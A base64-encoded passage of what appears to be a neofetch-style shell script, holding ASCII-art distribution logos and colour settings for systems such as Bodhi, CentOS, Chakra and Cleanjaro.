55TU1NTU1NbToke2MxfXl5eXl5cwoke2MyfXNNTU1NTU15ICAgICAgICAgICAgICAgICBgc01NTU1NTWgke2MxfXl5eXl5cwoke2MyfU5NTU1NTU46ICAgICAgICAgICAgICAgICAgLk5NTU1NTU4ke2MxfXl5eXl5cwoke2MyfU1NTU1NTW0uICAgICAgICAgICAgICAgICAgIE5NTU1NTU4ke2MxfXl5eXl5cwoke2MyfWhNTU1NTU0rICAgICAgICAgICAgICAgICAgL01NTU1NTU4ke2MxfXl5eXl5cwoke2MyfTpOTU1NTU1OOiAgICAgICAgICAgICAgICA6bU1NTU1NTSske2MxfXl5eXl5cwoke2MyfSBvTU1NTU1NTnMtICAgICAgICAgICAgLnNOTU1NTU1Ncy4ke2MxfXl5eXl5cwoke2MyfSAgK01NTU1NTU1OaG86LmAgIGAuOm9oTk1NTU1NTU5vICR7YzF9YHl5eXl5cwoke2MyfSAgIC1oTU1NTU1NTU1OTk5tbU5OTk1NTU1NTU1NaC0gICR7YzF9YHl5eXl5cwoke2MyfSAgICAgOnlOTU1NTU1NTU1NTU1NTU1NTU1NTnk6YCAgICR7YzF9YHl5eXl5cwoke2MyfSAgICAgICAuOnNkTk1NTU1NTU1NTU1OZHMvLiAgICAgICR7YzF9YHl5eXl5bwoke2MyfSAgICAgICAgICAgYC46LysrKysvOi5gICAgICAgICAgICAke2MxfTpveXMrLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiQmx1ZUxpZ2h0IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNyA0CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgb01NTk1NTU1NTU1NTU1NTU1NTU1NTU1NTU0KICAgICAgICAgICAgICBvTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTQogICAgICAgICAgICAgIG9NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NCiAgICAgICAgICAgICAgb01NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0KICAgICAgICAgICAgICAtKysrKysrKysrKysrKysrKysrKysrKyttTSR7YzJ9CiAgICAgICAgICAgICBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYC4uJHtjMX1kTSR7YzJ9CiAgICAgICAgICAgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGAuLi4uJHtjMX1kTSR7YzJ9CiAgICAgICAgIGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgLi4uLi4uJHtjMX1kTSR7YzJ9CiAgICAgICBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYC4uLi4uLi4uJHtjMX1kTSR7YzJ9CiAgICAgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGAuLi4uLi4uLi4uJHtjMX1kTSR7YzJ9CiAgIGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgLi4uLi4uLi4uLi4uJHtjMX1kTSR7YzJ9Ci46Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6LS4uLi4uLi4uLi4uLi4uJHtjMX1kTSR7YzJ9CiBgLSt5eXl5eXl5eXl5eXl5eXl5eXl5by4uLi4uLi4uLi4uLiR7YzF9K21NTSR7YzJ9CiAgICAgLSt5eXl5eXl5eXl5eXl5eXl5by4uLi4uLi4uLi4ke2MxfSttTU1NTSR7YzJ9CiAgICAgICAgLi9zeXl5eXl5eXl5eXl5by4uLi4uLi4uJHtjMX0rbU1NTU1NTSR7YzJ9CiAgICAgICAgICAgLi9veXl5eXl5eXl5by4uLi4uLiR7YzF9K21NTU1NTU1NTSR7YzJ9CiAgICAgICAgICAgICAgb21keXl5eXl5by4uLi4ke2MxfSttTU1NTU1NTU1NTSR7YzJ9CiAgICAgICAgICAgICAgJHtjMX1vTU1NJHtjMn1tZGh5eW8uLiR7YzF9K21NTU1NTU1NTU1NTU0KICAgICAgICAgICAgICBvTk5OTk5ObSR7YzJ9ZHNvJHtjMX1tTU1NTU1NTU1NTU1NTU0KRU9GCiAgICAgICAgOzsKCiAgICAgICAiQm9kaGkiKikKICAgICAgICAgICBzZXRfY29sb3JzIDcgMTEgMgogICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfXwgICAgICAgICAgICR7YzJ9LCxtbUtLS0tLS0tLV20sLAogJHtjMX0nICAgICAgJHtjMn0sYUtLUCR7YzF9TEwqKioqKioqKioqfEwqJHtjMn1US3AsCiAgICR7YzF9dCAgJHtjMn1hS1Ake2MxfUwqKmBgYCAgICAgICAgICBgYGAqKkwke2MyfSpLcAogICAgSVgke2MxfUVMJHtjM31MLHd3d3csICAgICAgICAgICAgICAke2MxfWBgKnx8JHtjMn1LcAogICwjUCR7YzF9THwke2MzfUtLS3BQUEBJUFBUS213LCAgICAgICAgICAke2MxfWAqfHwke2MyfUsKICxLJHtjMX1MTCoke2MzfXtLS0tLS0tQUGIkS1BocEtLUEtwICAgICAgICAke2MxfWB8fCR7YzJ9SwogIyR7YzF9UEwgICR7YzN9IUtLS0tLS1BoS1BQUCRLS0VoS0tLS3AgICAgICAke2MxfWB8fCR7YzJ9SwohSCR7YzF9TCogICAke2MzfTFLS0tLS0tLcGhLYlBLS0tLS0skS0twICAgICAgJHtjMX1gfEkke2MyfVcKJCR7YzF9YkwgICAgICR7YzN9S0tLS0tLS0tCUUtoS2JLS0tLS0tLSyAgICAgICAke2MxfXxJJHtjMn1OCiQke2MxfWJMICAgICAke2MzfSFLS0tLS0tLS0tLTktLS0tLS0tQUGAgICAgICAgJHtjMX18SSR7YzJ9YgpUSCR7YzF9TCogICAgICR7YzN9VEtLS0tLSyMjS0tLTkBLS0tLXiAgICAgICAgICR7YzF9fEkke2MyfU0KIEtAJHtjMX1MICAgICAgJHtjM30qS0tLS0tLS0tLS0tFS0U1ICAgICAgICAgICR7YzF9fHwke2MyfUsKIGBOTCR7YzF9TCAgICAgICR7YzN9YEtLS0tLS0tLS0siYGBgfEwgICAgICAgJHtjMX18fCR7YzJ9I1AKICBgS0Ake2MxfUxMICAgICAgICR7YzN9YCIqKiJgICAgICAgICAke2MxfScuICAgOnx8JHtjMn0jUAogICAgWXAke2MxfUxMICAgICAgICAgICAgICAgICAgICAgICR7YzF9JyB8TCR7YzJ9JE1gCiAgICAgYFRwJHtjMX1wTEwsICAgICAgICAgICAgICAgICx8fHwke2MyfXAnTAogICAgICAgICJLcHAke2MxfUxMKyssLiwgICAgLCx8fHwkJHtjMn0jSyogICAke2MxfScuCiAgICAgICAgICAgJHtjMn1gIk1LV3BwcHBwcHBwI0tNImAgICAgICAgICR7YzF9YGgsCkVPRgogICAgICAgOzsKCiAgICAgICAiYm9uc2FpIiopCiAgICAgICAgICAgc2V0X2NvbG9ycyA2IDIgMwogICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSAgICwjIyMjLAogICAke2MyfSMjIyMjIyMsICAke2MyfSwjIyMjIywKICAgJHtjMn0jIyMjIycsIyAgJHtjMn0nIyMjIyMjCiAgICAke2MyfScnIyMjJyR7YzN9JzssLCwnJHtjMn0jIyMnCiAgICR7YzN9ICAgICAgICw7ICAnJycnCiAgICR7YzN9ICAgICAgOzs7ICAgJHtjMn0sIyMjIyMsCiAgICR7YzN9ICAgICA7OzsnICAsLDske2MyfTs7IyMjCiAgICR7YzN9ICAgICAnOzs7OycnJHtjMn0nIyMjIycKICAgJHtjM30gICAgICA7OzsKICAgJHtjM30gICAsLjs7JzsnJywsLAogICAke2MzfSAgJyAgICAgJwoke2MxfSAjCiAjICAgICAgICAgICAgICAgICAgICAgICAgTwogIyMsICwjIywnLCMjLCAsIyMgICwjLCAgICwKICMgIyAjICAjICMnJyMgIywsICAjICMgICAjCiAnIycgJyMjJyAjICAjICAsLCMgJyMjOywgIwpFT0YKICAgICAgIDs7CgogICAgICAgIkJTRCIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3IDQgMyA2CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAsICAgICAgICAsCiAgICAgICAgICAgIC8oICAgICAgICApYAogICAgICAgICAgICBcIFxfX18gICAvIHwKICAgICAgICAgICAgLy0gXyAgYC0vICAnCiAgICAgICAgICAgKCR7YzJ9L1wvIFwgJHtjMX1cICAgL1wKICAgICAgICAgICAke2MyfS8gLyAgIHwgYCAgICAke2MxfVwKICAgICAgICAgICAke2MzfU8gTyAgICR7YzJ9KSAke2MxfS8gICAgfAogICAgICAgICAgICR7YzJ9YC1eLS0nJHtjMX1gPCAgICAgJwogICAgICAgICAgKF8uKSAgXyAgKSAgIC8KICAgICAgICAgICBgLl9fXy9gICAgIC8KICAgICAgICAgICAgIGAtLS0tLScgLwoke2M0fTwtLS0tLiAgICAgX18gLyBfXyAgIFwKJHtjNH08LS0tLXw9PT09JHtjMX1PKSkpJHtjNH09PSR7YzF9KSBcKSAvJHtjNH09PT09fAo8LS0tLScgICAgJHtjMX1gLS0nIGAuX18sJyBcCiAgICAgICAgICAgICB8ICAgICAgICB8CiAgICAgICAgICAgICAgXCAgICAgICAvICAgICAgIC9cCiAgICAgICAgICR7YzV9X19fX19fJHtjMX0oIChfICAvIFxfX19fX18vCiAgICAgICAke2M1fSwnICAsLS0tLS0nICAgfAogICAgICAgYC0te19fX19fX19fX18pCkVPRgogICAgICAgIDs7CgogICAgICAgICJCdW5zZW5MYWJzIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgZmcgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgIGArKwogICAgICAteU1NcwogICAgYHlNTU1NTmAKICAgLU5NTU1NTU1tLgogIDpNTU1NTU1NTU1OLQogLk5NTU1NTU1NTU1NTS8KIHlNTU1NTU1NTU1NTU1NLwpgTU1NTU1NTk1NTU1NTU1OLgotTU1NTU4rIC9tTU1NTU1NeQotTU1NbWAgICBgZE1NTU1NTQpgTU1OLiAgICAgLk5NTU1NTS4KIGhNeSAgICAgICB5TU1NTU1gCiAtTW8gICAgICAgK01NTU1OCiAgL28gICAgICAgK01NTU1zCiAgICAgICAgICAgK01NTU5gCiAgICAgICAgICAgaE1NTToKICAgICAgICAgIGBOTU0vCiAgICAgICAgICArTU46CiAgICAgICAgICBtaC4KICAgICAgICAgLS8KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkNhbGN1bGF0ZSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDcgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuLi4uLi4KICAgICAgICAgICAgICAgICAgICAgICAgICAgLCwrKysrKysrLC4KICAgICAgICAgICAgICAgICAgICAgICAgIC4sLCwuLi4uLCwsJHtjMn0rKiorLCwuJHtjMX0KICAgICAgICAgICAgICAgICAgICAgICAuLi4uLi4uLi4uLi4sJHtjMn0rKysrLCwsJHtjMX0KICAgICAgICAgICAgICAgICAgICAgIC4uLi4uLi4uLi4uLi4uLgogICAgICAgICAgICAgICAgICAgIC4uLi4uLiwsLC4uLi4uLi4uCiAgICAgICAgICAgICAgICAgIC4uLi4uKyojIyMjIyssLCwqKy4KICAgICAgICAgICAgICAuLi4uLiwqIyMjIyMjIyMjIyMjIyMjLC4uLCwsLCwsLi4KICAgICAgICAgICAuLi4uLi4sKiMjIyMjIyMjIyMjIyMjIyMjKi4uLCwsLCwuLiwsLC4uCiAgICAgICAgIC4sLC4uLi4qIyMjIyMjIyMjIyMjIyMjIyMjIyMrKioqKywsLCwuLi4sKyssCiAgICAgICAuLCwuLiwuLiojIyMjIyMjIyMjIyMjIyMjIyMjIyMqLAogICAgICwrLC4rKi4uKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjLgogICAsKywsKyorLi4sIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjKgouLCsrKysrKy4gIC4uKyMjKiojIyMjIyMjIyMjIyMjIyMjIyMjKwouLi4uLiAgICAgIC4uKyMjKioqIyMjIyMjIyMjIyMjIyMjIyMqLgogICAgICAgICAgIC4sLiojKioqKiojIyMjIyMjIyMjIyMjIyouCiAgICAgICAgICAgLi4sLCoqKioqKioqKiMjIyMjKioqKisuCiAgICAgJHtjMn0uLCsrKioqKiorKyske2MxfSoqKioqKioqKioqKioqKioqJHtjMn0rKysrKywuJHtjMX0KICAgICAgJHtjMn0sKysrKysrKiorKysrKyR7YzF9KioqKioqKioqKioke2MyfSsrKysrKysrKywke2MxfQogICAgICR7YzJ9LiwsLCwrKysrLC4uICAuLCwsLCwuLi4uLiwrKyssLiwsJHtjMX0KRU9GCiAgICAgICAgOzsKICAgICJDYXJicyIqKQogICAgICAgIHNldF9jb2xvcnMgNCA1IDQgNCA0IDQKICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgICAgLi4uLi4uLi4uLgogICAgICAgICAgLi4sOzpjY2NjY2NjOjsnLi4KICAgICAgIC4uLGNsbGxjOjs7Ozs7OmNsbGMsLgogICAgICAuLGNsbGMsLi4uICAgICAuLic7OycuCiAgICAgLjtsb2w7Li4gICAgICAgICAgIC4uCiAgICAuLGxvbDsuCiAgICAuY29vOi4KICAgLidsb2wsLgogICAuLGxvbCwuCiAgIC4sbG9sLC4KICAgICdjb2w7LgogICAgLjpvb2MnLgogICAgLidjb2w6LgogICAgIC4nY2xsYycuLiAgICAgICAgICAuJycuCiAgICAgIC4uOmxvbGMsJy4uLi4uLi4nLGNsbCwuCiAgICAgICAgLi47Y2xsbGxjY2NjY2xsbGM7Jy4KICAgICAgICAgIC4uLicsOzs7Ozs7LCwuLi4KICAgICAgICAgICAgICAgIC4uLi4uCkVPRgogICAgICAgIDs7CgogICAgIkNCTC1NYXJpbmVyIiopCiAgICAgICAgc2V0X2NvbG9ycyA2CiAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAuCiAgICAgICAgICAgICAgICAgIDotICAuCiAgICAgICAgICAgICAgICA6PT0uIC49OgogICAgICAgICAgICAgIDo9PT06ICAtPT06CiAgICAgICAgICAgIDotPT09OiAgLj09PT06CiAgICAgICAgICA6LT09PT0tICAgLT09PT09OgogICAgICAgICAtPT09PT09ICAgOj09PT09PT06CiAgICAgICAgLT09PT09PS4gIC49PT09PT09PT06CiAgICAgICAtPT09PT09OiAgIC09PT09PT09PT09LgogICAgICAtPT09PT09LSAgICAtPT09PT09PT09PT0uCiAgICAgOj09PT09PS0gICAgICA6PT09PT09PT09PT0uCiAgICA6PT09PT09PS4gICAgICAgLi09PT09PT09PT09LgogICA6PT09PT09PTogICAgICAgICAgLT09PT09PT09PT0uCiAgOj09PT09PT0tICAgICAgICAgICAgOj09PT09PT09PT0uCiA6PT09PT09PS0gICAgICAgICAgICAgIC4tPT09PT09PT0tCjotLS0tLS0tLS4gICAgICAgICAgICAgICAgOj09PT09PT09LQogICAgICAgICAgICAgICAgICAgIC4uOjo6LS09PT09PT09PT0tCiAgICAgICAgICAgIC4uOjotLS09PT09PT09PT09PT09PT09LT0tCkVPRgogICAgICAgIDs7CgogICAgICAgICJDZWxPUyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNiAwIDUKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCgoke2M0fSAgICAgICAgICAgICAgICAgICAgIC4sY21tbW1tbW1tbW1tYywuCiAgICAgICAgICAgICAgICAuLGNtTU1NTU1NTU1NTU1NTU1NTU1NTU1tYy4KICAgICAgICAgICAgIC5jTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NbWMuCiAgICAgICAgICAgLmNNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTWMuCiAgICAgICAgICw6TU1NICR7YzN9IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjJHtjNH0KICAgICAgICBjTU1NTU1NbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tYy4KICAgICAgIC5NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0uCiAgICAgIC5NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NYwogICAgICAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqTU1NTU1NTU1NTU1NTWM6CiR7YzN9IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICR7YzR9TU1NTU1NTU1NTU1NTWMKICAgICAgIk1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU06CiAgICAgICAiTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NIgogICAgICAgJ01NTU1NTU1NTSoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio6CiAgICAgICAgXCJNTU1NTU0gJHtjM30jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiAgICAgICAgICR7YzR9YDpNTU1NTU1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbTsKICAgICAgICAgICBgIk1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NIgogICAgICAgICAgICAgYCI6TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTTsnCiAgICAgICAgICAgICAgICBgIjpNTU1NTU1NTU1NTU1NTU1NTU1NOiIKICAgICAgICAgICAgICAgICAgICAgIioqKioqKioqKioqKiIKCgoKCkVPRgogICAgICAgIDs7CgogICAgICAgICJjZW50b3Nfc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDIgNCA1IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9IF9fX18ke2MxfV4ke2M0fV9fX18KJHtjMn0gfFxcICAke2MxfXwke2M0fSAgL3wKJHtjMn0gfCBcXCAke2MxfXwke2M0fSAvIHwKJHtjNH08LS0tLSAke2MzfS0tLS0+CiR7YzN9IHwgLyAke2MyfXwke2MxfSBcXCB8CiR7YzN9IHwvX18ke2MyfXwke2MxfV9fXFx8CiR7YzJ9ICAgICB2CkVPRgogICAgICAgIDs7CgogICAgICAgICJDZW50T1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDIgNCA1IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAuLgogICAgICAgICAgICAgICAuUExUSi4KICAgICAgICAgICAgICA8Pjw+PD48PgogICAgICR7YzJ9S0tTU1YnIDRLS0sgJHtjMX1MSiR7YzR9IEtLS0wuJ1ZTU0tLCiAgICAgJHtjMn1LS1YnIDRLS0tLSyAke2MxfUxKJHtjNH0gS0tLS0FMICdWS0sKICAgICAke2MyfVYnICcgJ1ZLS0tLICR7YzF9TEoke2M0fSBLS0tLVicgJyAnVgogICAgICR7YzJ9LjRNQS4nICdWS0sgJHtjMX1MSiR7YzR9IEtLVicgJy40TWIuCiR7YzR9ICAgLiAke2MyfUtLS0tLQS4nICdWICR7YzF9TEoke2M0fSBWJyAnLjRLS0tLSyAke2MzfS4KJHtjNH0gLjREICR7YzJ9S0tLS0tLS0EuJycgJHtjMX1MSiR7YzR9ICcnLjRLS0tLS0tLICR7YzN9RkEuCiR7YzR9PFFERCArKysrKysrKysrKysgICR7YzN9KysrKysrKysrKysrIEdGRD4KJHtjNH0gJ1ZEICR7YzN9S0tLS0tLS0snLi4gJHtjMn1MSiAke2MxfS4uJ0tLS0tLS0tLICR7YzN9RlYKJHtjNH0gICAnICR7YzN9VktLS0tLJy4gLjQgJHtjMn1MSiAke2MxfUsuIC4nS0tLS0tWICR7YzN9JwogICAgICR7YzN9ICdWSycuIC40S0sgJHtjMn1MSiAke2MxfUtLQS4gLidLVicKICAgICAke2MzfUEuIC4gLjRLS0tLICR7YzJ9TEogJHtjMX1LS0tLQS4gLiAuNAogICAgICR7YzN9S0tBLiAnS0tLS0sgJHtjMn1MSiAke2MxfUtLS0tLJyAuNEtLCiAgICAgJHtjM31LS1NTQS4gVktLSyAke2MyfUxKICR7YzF9S0tLViAuNFNTS0sKJHtjMn0gICAgICAgICAgICAgIDw+PD48Pjw+CiAgICAgICAgICAgICAgICdNS0tNJwogICAgICAgICAgICAgICAgICcnCkVPRgogICAgICAgIDs7CgogICAgICAgICJDaGFrcmEiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDUgNyA2CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgXyBfIF8gICAgICAgICJra2tra2tray4KICAgLGtra2tra2trLiwgICAgJ2tra2tra2traywKICAgLGtra2tra2tra2tray4sICdra2tra2tra2suCiAgLGtra2tra2tra2tra2tra2ssJ2tra2tra2trLAogLGtra2tra2tra2tra2tra2tra2sna2tra2tray4KICAiJyciJycnLDs6OiwsIicna2trJydra2trazsgICBfXwogICAgICAsa2tra2tra2traywgImsnJ2tra2trJyAsa2trawogICAgLGtra2tra2snIC4sICcgLjogJ2tra2snLGtra2trawogICxra2tra2traycuaycgICAsICAsa2traztra2tra2tra2sKICxra2tra2trayc7a2sgJ2sgICInaycsa2tra2tra2tra2trCi5ra2tra2tra2sua2tray4na2tra2tra2tra2tra2tra2trJwo7a2tra2tra2snJ2tra2trazsna2tra2tra2tra2traycnCidra2tra2trOyAna2tra2tra2suLCIiJyciJyciIgogICcna2trazsgICdra2tra2tra2trLiwKICAgICAnOycgICAgJ2tra2tra2tra2tray4sCiAgICAgICAgICAgICAnO2tra2tra2tra2snCiAgICAgICAgICAgICAgICc7a2tra2trJwogICAgICAgICAgICAgICAgICAiJyciCkVPRgogICAgICAgIDs7CgogICAgICAgICJDaGFsZXRPUyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICBgLi8vK29zc28rLzpgYAogICAgICAgICBgL3NkTk5taHlzc3NzeWRtTk5kbzpgCiAgICAgICA6aE5teSstYCAgICAgICAgICAuLStoTk5zLQogICAgIC9tTWgvYCAgICAgICBgKzpgICAgICAgIGArZE1kOgogICAuaE1kLSAgICAgICAgLXNOTk1Oby4gIC95eXkgIC9tTXNgCiAgLU5NKyAgICAgICBgL2RNZC8tLW9tTmg6OmRNTSAgIGB5TWRgCiAuTk4rICAgICAgLnNOTnM6L2RNTnk6L2hObW8vcyAgICAgeU1kYAogaE1zICAgIGAvaE5kKy1zbU1NTU1NTWQrOm9tTnktICAgIGBkTW8KOk5NLiAgLm9tTXk6L2hOTU1NTU1NTU1NTU55Oi9oTWQrYCAgOk1kYAovTWRgIGBzbSsub21NTU1NTU1NTU1NTU1NTU1NZC8tc20rICAuTU46Ci9NZGAgICAgICBNTU1NTU1NTU1NTU1NTU1NTU1NTiAgICAgIC5NTjoKOk5OLiAgICAgIE1NTU1NTW0uLi4uLS1OTU1NTU1OICAgICAgLU1tLgpgZE1vICAgICAgTU1NTU1NZCAgICAgIG1NTU1NTU4gICAgICBoTXMKIC1NTjogICAgIE1NTU1NTWQgICAgICBtTU1NTU1OICAgICBvTW1gCiAgOk5NOiAgICBNTU1NTU1kICAgICAgbU1NTU1NTiAgICArTW0tCiAgIC1tTXkuICBtbW1tbW1oICAgICAgZG1tbW1taCAgLWhNaC4KICAgICBvTk5zLSAgICAgICAgICAgICAgICAgICAgOnlNbS8KICAgICAgLittTWRvOmAgICAgICAgICAgICBgOnNtTWQvYAogICAgICAgICAtb2hOTm1oc29vKytvc3NobU5OaCsuCiAgICAgICAgICAgIGAuLytzeXloaHl5cys6YGAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkNoYXBlYXUiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgLi0vLS4KICAgICAgICAgICAgLy8vLy8vLy8uCiAgICAgICAgICAvLy8vLy8vLyR7YzJ9eSske2MxfS8vLgogICAgICAgIC8vLy8vLy8vJHtjMn1tTU4ke2MxfS8vLy8vLgogICAgICAvLy8vLy8vLyR7YzJ9bU1OKyR7YzF9Ly8vLy8vLy8uCiAgICAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8uCiAgLy8vLy8vLy8vKyR7YzJ9c2hoZGRoeW8ke2MxfSsvLy8vLy8vLy4KIC8vLy8vLy8vJHtjMn15bU1ObWRoaGRtTk5kbyR7YzF9Ly8vLy8vLy4KLy8vLy8vLyske2MyfW1NbXMke2MxfS8vLy8vLy8vJHtjMn1oTk1oJHtjMX0vLy8vLy8vLgovLy8vLy8vJHtjMn1OTW0rJHtjMX0vLy8vLy8vLy8vJHtjMn1zTU1oJHtjMX0vLy8vLy8vCi8vLy8vLyR7YzJ9b01NTm1tbW1tbW1tbW1tbU1NbSR7YzF9Ly8vLy8vLwovLy8vLy8ke2MyfStNTW1zc3Nzc3Nzc3Nzc3Nzcyske2MxfS8vLy8vLy8KYC8vLy8vLyR7YzJ9eU1NeSR7YzF9Ly8vLy8vLy8vLy8vLy8vLy8vLy8KIGAvLy8vLy8ke2MyfXNtTU5oc28rK295ZE5tJHtjMX0vLy8vLy8vLwogIGAvLy8vLy8vJHtjMn1vaG1OTU1NTk5keSske2MxfS8vLy8vLy8KICAgIGAvLy8vLy8vLy8vJHtjMn0rKyR7YzF9Ly8vLy8vLy8vLwogICAgICAgYC8vLy8vLy8vLy8vLy8vLy8uCiAgICAgICAgICAgLS8vLy8vLy8vLQpFT0YKICAgICAgICA7OwoKICAgICAgICAiQ2hyb20iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDEgMyA0IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICAgICAgICAgICAgLiw6bG9vb2w6LC4KICAgICAgICAuLGNvb29vb29vb29vb29vYywuCiAgICAgLixsbGxsbGxsbGxsbGxsbGxsbGxsbGwsLgogICAgO2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2M7CiR7YzF9ICAnJHtjMn1jY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjYy4KJHtjMX0gLG9vJHtjMn1jOjo6Ojo6Ojpva08ke2M1fTAwMCR7YzN9ME9Pa2tra2tra2tra2s6CiR7YzF9Lm9vb29sJHtjMn07Ozs7Ongke2M1fUswJHtjNH1reHh4eHhrJHtjNX0wWCR7YzN9SzAwMDAwMDAwMDAuCiR7YzF9Om9vb29vbCR7YzJ9Oyw7TyR7YzV9SyR7YzR9ZGRkZGRkZGRkZGQke2M1fUtYJHtjM30wMDAwMDAwMDBkCiR7YzF9bGxsbGxvb2wke2MyfTtsJHtjNX1OJHtjNH1kbGxsbGxsbGxsbGxkJHtjNX1OJHtjM31LMDAwMDAwMDAwCiR7YzF9bGxsbGxsbGxsJHtjMn1vJHtjNX1NJHtjNH1kY2NjY2NjY2NjY2NvJHtjNX1XJHtjM31LMDAwMDAwMDAwCiR7YzF9O2NsbGxsbGxsbFgke2M1fVgke2M0fWM6Ojo6Ojo6OjpjJHtjNX0wWCR7YzN9MDAwMDAwMDAwZAoke2MxfS5jY2NjbGxsbGxsTyR7YzV9Tmske2M0fWM7LCwsO2N4JHtjNX1LSyR7YzN9MDAwMDAwMDAwMC4KJHtjMX0gLmNjY2NjY2xsbGxseE9PJHtjNX1PT08ke2MxfU9reCR7YzN9TzAwMDAwMDAwMDA7CiR7YzF9ICAuOmNjY2NjY2NjbGxsbGxsbGxvJHtjM31PMDAwMDAwME9PTywKJHtjMX0gICAgLDpjY2NjY2NjY2NsbGxjZCR7YzN9MDAwME9PT09PT2wuCiR7YzF9ICAgICAgJzo6Y2NjY2NjY2NjJHtjM31kT09PT09PT2t4Oi4KJHtjMX0gICAgICAgIC4uLDo6Y2NjYyR7YzN9eE9PT2tra287Lgoke2MxfSAgICAgICAgICAgIC4uLDoke2MzfWRPa3hsOi4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgImNsZWFuamFyb19zbWFsbCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDcgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX3ilojilojilojilojilogg4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiCDilojilojilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiArilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiApFT0YKICAgICAgICA7OwoKICAgICAgICAiQ2xlYW5qYXJvIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNyA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfeKWiOKWiOKWiOKWiOKWiOK